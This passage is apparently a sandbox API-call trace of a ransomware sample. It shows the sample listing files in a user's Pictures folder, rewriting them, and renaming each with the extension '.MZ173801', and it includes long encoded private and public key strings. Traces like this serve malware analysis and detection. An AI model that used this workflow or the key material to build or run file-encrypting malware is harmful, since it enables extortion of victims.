lpNumberOfBytesRead=0x19fa18*=0xacc6, lpOverlapped=0x0) returned 1 [0153.400] CloseHandle (hObject=0x294) returned 1 [0153.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TNMTkGiMBk1T.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmtkgimbk1t.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.402] WriteFile (in: hFile=0x294, lpBuffer=0x24efd50*, nNumberOfBytesToWrite=0xacc6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24efd50*, lpNumberOfBytesWritten=0x19fa24*=0xacc6, lpOverlapped=0x0) returned 1 [0153.403] CloseHandle (hObject=0x294) returned 1 [0153.437] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\TNMTkGiMBk1T.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmtkgimbk1t.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\TNMTkGiMBk1T.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmtkgimbk1t.png.mz173801")) returned 1 [0153.438] GetCurrentThreadId () returned 0xab4 [0153.438] GetCurrentThreadId () returned 0xab4 [0153.438] GetCurrentThreadId () returned 0xab4 [0153.438] GetCurrentThreadId () returned 0xab4 [0153.438] GetCurrentThreadId () returned 0xab4 [0153.438] GetCurrentThreadId () returned 0xab4 [0153.438] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668ee010, ftCreationTime.dwHighDateTime=0x1d5e44a, ftLastAccessTime.dwLowDateTime=0x950dac80, ftLastAccessTime.dwHighDateTime=0x1d5ef6e, ftLastWriteTime.dwLowDateTime=0x950dac80, ftLastWriteTime.dwHighDateTime=0x1d5ef6e, nFileSizeHigh=0x0, nFileSizeLow=0x16a35, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="v32KoNWBg.gif", cAlternateFileName="V32KON~1.GIF")) returned 1 [0153.438] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.438] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\v32KoNWBg.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\v32konwbg.gif"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668ee010, ftCreationTime.dwHighDateTime=0x1d5e44a, ftLastAccessTime.dwLowDateTime=0x950dac80, ftLastAccessTime.dwHighDateTime=0x1d5ef6e, ftLastWriteTime.dwLowDateTime=0x950dac80, ftLastWriteTime.dwHighDateTime=0x1d5ef6e, nFileSizeHigh=0x0, nFileSizeLow=0x16a35)) returned 1 [0153.438] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\v32KoNWBg.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\v32konwbg.gif")) returned 0x20 [0153.439] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\v32KoNWBg.gif", dwFileAttributes=0x80) returned 1 [0153.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.443] GetCurrentThreadId () returned 0xab4 [0153.443] GetCurrentThreadId () returned 0xab4 [0153.443] GetCurrentThreadId () returned 0xab4 [0153.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.444] GetCurrentThreadId () returned 0xab4 [0153.444] GetCurrentThreadId () returned 0xab4 [0153.444] GetCurrentThreadId () returned 0xab4 [0153.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\v32KoNWBg.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\v32konwbg.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.444] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.444] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.444] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x16a35 [0153.444] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.444] ReadFile (in: hFile=0x294, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x16a35, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0x16a35, lpOverlapped=0x0) returned 1 [0153.446] CloseHandle (hObject=0x294) returned 1 [0153.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\v32KoNWBg.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\v32konwbg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.450] WriteFile (in: hFile=0x294, lpBuffer=0x24fbd50*, nNumberOfBytesToWrite=0x16a35, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24fbd50*, lpNumberOfBytesWritten=0x19fa24*=0x16a35, lpOverlapped=0x0) returned 1 [0153.453] CloseHandle (hObject=0x294) returned 1 [0153.456] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\v32KoNWBg.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\v32konwbg.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\v32KoNWBg.gif.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\v32konwbg.gif.mz173801")) returned 1 [0153.457] GetCurrentThreadId () returned 0xab4 [0153.457] GetCurrentThreadId () returned 0xab4 [0153.457] GetCurrentThreadId () returned 0xab4 [0153.457] GetCurrentThreadId () returned 0xab4 [0153.457] GetCurrentThreadId () returned 0xab4 [0153.457] GetCurrentThreadId () returned 0xab4 [0153.457] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8bb0d50, ftCreationTime.dwHighDateTime=0x1d5ec98, ftLastAccessTime.dwLowDateTime=0xef3d6e20, ftLastAccessTime.dwHighDateTime=0x1d5e753, ftLastWriteTime.dwLowDateTime=0xef3d6e20, ftLastWriteTime.dwHighDateTime=0x1d5e753, nFileSizeHigh=0x0, nFileSizeLow=0x65e0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="yvoDa.gif", cAlternateFileName="")) returned 1 [0153.457] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.457] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yvoDa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\yvoda.gif"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8bb0d50, ftCreationTime.dwHighDateTime=0x1d5ec98, ftLastAccessTime.dwLowDateTime=0xef3d6e20, ftLastAccessTime.dwHighDateTime=0x1d5e753, ftLastWriteTime.dwLowDateTime=0xef3d6e20, ftLastWriteTime.dwHighDateTime=0x1d5e753, nFileSizeHigh=0x0, nFileSizeLow=0x65e0)) returned 1 [0153.457] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yvoDa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\yvoda.gif")) returned 0x20 [0153.457] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yvoDa.gif", dwFileAttributes=0x80) returned 1 [0153.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5